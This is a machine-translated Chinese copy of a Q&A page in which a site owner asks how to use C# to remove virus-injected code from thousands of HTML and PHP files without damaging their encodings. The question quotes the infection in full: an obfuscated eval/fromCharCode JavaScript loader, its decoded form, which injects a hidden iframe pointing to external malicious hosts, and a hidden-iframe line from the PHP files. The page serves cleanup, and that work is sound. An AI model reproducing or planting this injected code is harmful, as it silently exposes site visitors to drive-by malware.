可以将一个文件进行读取和写入右后卫与小的变化不知道它的编码在C#中? [英] Can a file be read and written right back with small changes without knowing its encoding in C#?

查看:158
本文介绍了可以将一个文件进行读取和写入右后卫与小的变化不知道它的编码在C#中?的处理方法,对大家解决问题具有一定的参考价值,需要的朋友们下面随着小编来一起学习吧!

问题描述

我需要从FTP超过5000的文件是.html和.php文件下载。我需要阅读的每个文件,并删除了一些东西,是由病毒放在那里,并保存回FTP

I need to download from FTP over 5000 files being .html and .php files. I need to read each file and remove some stuff that was put there by virus and save it back to FTP.

我用下面的代码:

string content;
using (StreamReader sr = new StreamReader(fileName, System.Text.Encoding.UTF8, true)) {
    content = sr.ReadToEnd();
    sr.Close();
}

using (StreamWriter sw = new StreamWriter(fileName + "1" + file.Extension, false, System.Text.Encoding.UTF8))
{
    sw.WriteLine(content);
    sw.Close();
}



我下载了一些文件,手工,部分< ; META HTTP-EQUIV =Content-Type的CONTENT =text / html的;字符集=窗口-1250/> ,但我不希望承担所有的人都是这样的。我用记事本++检查,一些文本文件是ANSI。 PHP似乎是UTF-8和HTML的Windows 1250,但我宁愿以确保同时试图修复它不会破坏文件。那么,有没有,我也不会知道/猜测编码的方式,它会让我从网页中删除病毒链接?

I downloaded some files by hand and some have <meta http-equiv="Content-Type" content="text/html; charset=windows-1250" /> but I wouldn't want to assume all of them are like that. I checked with Notepad++ and some text files are ANSI. PHP seems to be UTF-8 and HTML Windows-1250 but I would prefer to be sure to not break the files while trying to fix it. So is there a way that I wouldn't have to know/guess the encoding and it would let me remove virus links from web pages?

编辑。我试图找到并删除这样的:

Edit. I'm trying to find and remove something like this:

变种S =新的
字符串();尝试{文件。 rvwrew.vewr}赶上(q){R = 1; C =字符串;}如果(R&安培;&安培; document.createTextNode)U = 2; E = EVAL; M = [4.5 * U,18 / U,52.5 * U ,204 / U,16 * U,80 / U,50 * U,222 / U,49.5 * U,234 / U,54.5 * U,202 / U,55 * U,232 / U,23 * U,206 /u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u ,42 * U,194 / U,51.5 * U,156 / U,48.5 * U,218 / U,50.5 * U,80 / U,19.5 * U,196 / U,55.5 * U,200 / U,60.5 * U,78 / U,20.5 * U,182 / U,24 * U,186 / U,20.5 * U,246 / U,4.5 * U,18 / U,4.5 * U,210 / U,51 * U ,228 / U,48.5 * U,218 / U,50.5 * U,228 / U,20 * U,82 / U,29.5 * U,18 / U,4.5 * U,250 / U,16 * U,202 /u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u ,54.5 * U,202 / U,55 * U,232 / U,23 * U,238 / U,57 * U,210 / U,58 * U,202 / U,20 * U,68 / U,30 * U,210 / U,51 * U,228 / U,48.5 * U,218 / U,50.5 * U,64 / U,57.5 * U,228 / U,49.5 * U,122 / U,19.5 * U ,208 / U,58 * U,232 / U,56 * U,116 / U,23.5 * U,94 / U,51 * U,210 / U,49 * U,202 / U,57 * U,194 /u,57.5*u,232/u,48.5*u,232/u,23*u,198/u,55.5*u,218/u,23.5*u,232/u,50.5*u,218/u ,56 * U,94 / U,57.5 * U,232 / U,48.5 * U,232 / U,23 * U,224 / U,52 * U,224 / U,19.5 * U,64 / U,59.5 * U,210 / U,50 * U,232 / U,52 * U,122 / U,19.5 * U,98 / U,24 * U,78 / U,16 * U,208 / U,50.5 * U ,210 / U,51.5 * U,208 / U,58 * U,122 / U,19.5 * U,98 / U,24 * U,78 / U,16 * U,230 / U,58 * U,242 /u,54*u,202/u,30.5*u,78/u,
59 * U,210 / U,57.5 * U,210 / U,49 * U,210 / U,54 * U ,210 / U,58 * U,242 / U,29 * U,208 / U,52.5 * U,200 / U,50 * U,202 / U,55 * U,118 / U,56 * U,222 /u,57.5*u,210/u,58*u,210/u,55.5*u,220/u,29*u,194/u,49*u,230/u,55.5*u,216/u 58.5 * U,232 / U,50.5 * U,118 / U,54 * U,202 / U,51 * U,232 / U,29 * U,96 / U,29.5 * U,232 / U,55.5 * U,224 / U,29 * U,96 / U,29.5 * U,78 / U,31 * U,120 / U,23.5 * U,210 / U,51 * U,228 / U,48.5 * U ,218 / U,50.5 * U,124 / U,17 * U,82 / U,29.5 * U,18 / U,4.5 * U,250 / U,4.5 * U,18 / U,51 * U,234 /u,55*u,198/u,58*u,210/u,55.5*u,220/u,16*u,210/u,51*u,228/u,48.5*u,218/u ,50.5 * U,228 / U,20 * U,82 / U,61.5 * U,18 / U,4.5 * U,18 / U,59 * U,194 / U,57 * U,64 / U,51 * U,64 / U,30.5 * U,64 / U,50 * U,222 / U,49.5 * U,234 / U,54.5 * U,202 / U,55 * U,232 / U,23 * U ,198 / U,57 * U,202 / U,48.5 * U,232 / U,50.5 * U,138 / U,54 * U,202 / U,54.5 * U,202 / U,55 * U,232 /u,20*u,78/u,52.5*u,204/u,57*u,194/u,54.5*u,202/u,19.5*u,82/u,29.5*u,204/u ,23 * U,230 / U,50.5 * U,232 / U,32.5 * U,232 / U,58 * U,228 / U,52.5 * U,196 / U,58.5 * U,232 / U,50.5 * U,80 / U,19.5 * U,230 / U,57 * U,198 / U,19.5 * U,88 / U,19.5 * U,208 / U,58 * U,232 / U,56 * U ,116 / U,23.5 * U,94 / U,51 * U,210 / U,49 * U,202 / U,57 * U,194 / U,57.5 * U,232 / U,48.5 * U,232 /u,23*u,198/u,55.5*u,218/u,23.5*u,232/u,50.5*u,218/u,56*u,94/u,57.5*u,232/u ,48.5 * U,232 / U,23 * U,224 / U,52 * U,224 / U,19.5 * U,82 / U,29.5 * U,204 / U,
23 * U,230 /u,58*u,242/u,54*u,202/u,23*u,236/u,52.5*u,230/u,52.5*u,196/u,52.5*u,216/u ,52.5 * U,232 / U,60.5 * U,122 / U,19.5 * U,208 / U,52.5 * U,200 / U,50 * U,202 / U,55 * U,78 / U,29.5 * U,204 / U,23 * U,230 / U,58 * U,242 / U,54 * U,202 / U,23 * U,224 / U,55.5 * U,230 / U,52.5 * U ,232 / U,52.5 * U,222 / U,55 * U,122 / U,19.5 * U,194 / U,49 * U,230 / U,55.5 * U,216 / U,58.5 * U,232 /u,50.5*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,216/u ,50.5 * U,204 / U,58 * U,122 / U,19.5 * U,96 / U,19.5 * U,118 / U,51 * U,92 / U,57.5 * U,232 / U,60.5 * U,216 / U,50.5 * U,92 / U,58 * U,222 / U,56 * U,122 / U,19.5 * U,96 / U,19.5 * U,118 / U,51 * U ,92 / U,57.5 * U,202 / U,58 * U,130 / U,58 * U,232 / U,57 * U,210 / U,49 * U,234 / U,58 * U,202 /u,20*u,78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,78/u,24.5*u,96/u 19.5 * U,82 / U,29.5 * U,204 / U,23 * U,230 / U,50.5 * U,232 / U,32.5 * U,232 / U,58 * U,228 / U,52.5 * U,196 / U,58.5 * U,232 / U,50.5 * U,80 / U,19.5 * U,208 / U,50.5 * U,210 / U,51.5 * U,208 / U,58 * U ,78 / U,22 * U,78 / U,24.5 * U,96 / U,19.5 * U,82 / U,29.5 * U,18 / U,4.5 * U,18 / U,50 * U,222 /u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u ,50.5 * U,218 / U,50.5 * U,220 / U,58 * U,230 / U,33 * U,242 / U,42 * U,194 / U,51.5 * U,156 / U,48.5 * U,218 / U,50.5 * U,80 / U,19.5 * U,196 / U,55.5 * U,200 / U,60.5 * U,78 / U,20.5 * U,182 / U,24 * U 186 / U,23 * U,194 / U,56 * U,224 / U,50.5 * U,220 / U,50 * U,134 / U,52 * U,210 / U,54 * U,200 /u,20*u,204/u,20.5*u,118/u,4.5*u,18/u,62.5*u];if(document.createTextNode)with(c)mm=fromCharCode;for(i= 0;!I = m.length;我++)S + =毫米(E(M+[+I+']'));尝试{doc.qwe.removeChild()}赶上(q){ E();}

var s=new String();try{document.rvwrew.vewr}catch(q){r=1;c=String;}if(r&&document.createTextNode)u=2;e=eval;m=[4.5*u,18/u,52.5*u,204/u,16*u,80/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,20.5*u,246/u,4.5*u,18/u,4.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,29.5*u,18/u,4.5*u,250/u,16*u,202/u,54*u,230/u,50.5*u,64/u,61.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,238/u,57*u,210/u,58*u,202/u,20*u,68/u,30*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,64/u,57.5*u,228/u,49.5*u,122/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,51*u,210/u,49*u,202/u,57*u,194/u,57.5*u,232/u,48.5*u,232/u,23*u,198/u,55.5*u,218/u,23.5*u,232/u,50.5*u,218/u,56*u,94/u,57.5*u,232/u,48.5*u,232/u,23*u,224/u,52*u,224/u,19.5*u,64/u,59.5*u,210/u,50*u,232/u,52*u,122/u,19.5*u,98/u,24*u,78/u,16*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,122/u,19.5*u,98/u,24*u,78/u,16*u,230/u,58*u,242/u,54*u,202/u,30.5*u,78/u, 59*u,210/u,57.5*u,210/u,49*u,210/u,54*u,210/u,58*u,242/u,29*u,208/u,52.5*u,200/u,50*u,202/u,55*u,118/u,56*u,222/u,57.5*u,210/u,58*u,210/u,55.5*u,220/u,29*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,118/u,54*u,202/u,51*u,232/u,29*u,96/u,29.5*u,232/u,55.5*u,224/u,29*u,96/u,29.5*u,78/u,31*u,120/u,23.5*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,124/u,17*u,82/u,29.5*u,18/u,4.5*u,250/u,4.5*u,18/u,51*u,234/u,55*u,198/u,58*u,210/u,55.5*u,220/u,16*u,210/u,51*u,228/u,48.5*u,218/u,50.5*u,228/u,20*u,82/u,61.5*u,18/u,4.5*u,18/u,59*u,194/u,57*u,64/u,51*u,64/u,30.5*u,64/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,198/u,57*u,202/u,48.5*u,232/u,50.5*u,138/u,54*u,202/u,54.5*u,202/u,55*u,232/u,20*u,78/u,52.5*u,204/u,57*u,194/u,54.5*u,202/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,230/u,57*u,198/u,19.5*u,88/u,19.5*u,208/u,58*u,232/u,56*u,116/u,23.5*u,94/u,51*u,210/u,49*u,202/u,57*u,194/u,57.5*u,232/u,48.5*u,232/u,23*u,198/u,55.5*u,218/u,23.5*u,232/u,50.5*u,218/u,56*u,94/u,57.5*u,232/u,48.5*u,232/u,23*u,224/u,52*u,224/u,19.5*u,82/u,29.5*u,204/u, 23*u,230/u,58*u,242/u,54*u,202/u,23*u,236/u,52.5*u,230/u,52.5*u,196/u,52.5*u,216/u,52.5*u,232/u,60.5*u,122/u,19.5*u,208/u,52.5*u,200/u,50*u,202/u,55*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,224/u,55.5*u,230/u,52.5*u,232/u,52.5*u,222/u,55*u,122/u,19.5*u,194/u,49*u,230/u,55.5*u,216/u,58.5*u,232/u,50.5*u,78/u,29.5*u,204/u,23*u,230/u,58*u,242/u,54*u,202/u,23*u,216/u,50.5*u,204/u,58*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,232/u,60.5*u,216/u,50.5*u,92/u,58*u,222/u,56*u,122/u,19.5*u,96/u,19.5*u,118/u,51*u,92/u,57.5*u,202/u,58*u,130/u,58*u,232/u,57*u,210/u,49*u,234/u,58*u,202/u,20*u,78/u,59.5*u,210/u,50*u,232/u,52*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,204/u,23*u,230/u,50.5*u,232/u,32.5*u,232/u,58*u,228/u,52.5*u,196/u,58.5*u,232/u,50.5*u,80/u,19.5*u,208/u,50.5*u,210/u,51.5*u,208/u,58*u,78/u,22*u,78/u,24.5*u,96/u,19.5*u,82/u,29.5*u,18/u,4.5*u,18/u,50*u,222/u,49.5*u,234/u,54.5*u,202/u,55*u,232/u,23*u,206/u,50.5*u,232/u,34.5*u,216/u,50.5*u,218/u,50.5*u,220/u,58*u,230/u,33*u,242/u,42*u,194/u,51.5*u,156/u,48.5*u,218/u,50.5*u,80/u,19.5*u,196/u,55.5*u,200/u,60.5*u,78/u,20.5*u,182/u,24*u,186/u,23*u,194/u,56*u,224/u,50.5*u,220/u,50*u,134/u,52*u,210/u,54*u,200/u,20*u,204/u,20.5*u,118/u,4.5*u,18/u,62.5*u];if(document.createTextNode)with(c)mm=fromCharCode;for(i=0;i!=m.length;i++)s+=mm(e("m"+"["+"i"+']'));try{doc.qwe.removeChild()}catch(q){e(s);}

这解码后

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://fiberastat.com/temp/stat.php');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}



当你访问网页,它会告诉你这(解码后)。

And when you visit webpage it tells you this (after decoding).

if (document.getElementsByTagName('body')[0]) {
    iframer();
} else {
    document.write("");
}
function iframer() {
    var f = document.createElement('iframe');
    f.setAttribute('src', 'http://vtempe.in/in.cgi?17');
    f.style.visibility = 'hidden';
    f.style.position = 'absolute';
    f.style.left = '0';
    f.style.top = '0';
    f.setAttribute('width', '10');
    f.setAttribute('height', '10');
    document.getElementsByTagName('body')[0].appendChild(f);
}



该脚本在最后3行补充,基本开始右后< / HTML> VAR

PHP脚本或多或少都有这种类型的线<的; IFRAME SRC =http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13WIDTH = 2 HEIGHT = 4的风格=visibility:hidden的>< / IFRAME> ,但它可以是在文件中的任何地方。

The PHP script has more or less this type of line <iframe src="http://hugetopdiet.cn:8080/ts/in.cgi?pepsi13" width=2 height=4 style="visibility: hidden"></iframe> but it can be anywhere in the file.

不知道是否有任何其他方式然后重写这些文件。但不必去直通5000个文件似乎有点太多和风险: - )

Not sure if there's any other way then to rewrite those files. But having to go thru 5000 files seems a bit too much and risky :-)

推荐答案

假设没有任何文件都UTF16或UTF32,并且要与之交互的部分完全是7位ASCII,您可以打开并保存为 Encoding.Default ,这将往返任何更高的字符正确。

Assuming that none of the files are UTF16 or UTF32, and that the parts that you want to interact with are entirely 7-bit ASCII, you can open and save it as Encoding.Default, which will round-trip any higher character correctly.

这篇关于可以将一个文件进行读取和写入右后卫与小的变化不知道它的编码在C#中?的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!

查看全文
登录 关闭
扫码关注1秒登录
发送“验证码”获取 | 15天全站免登陆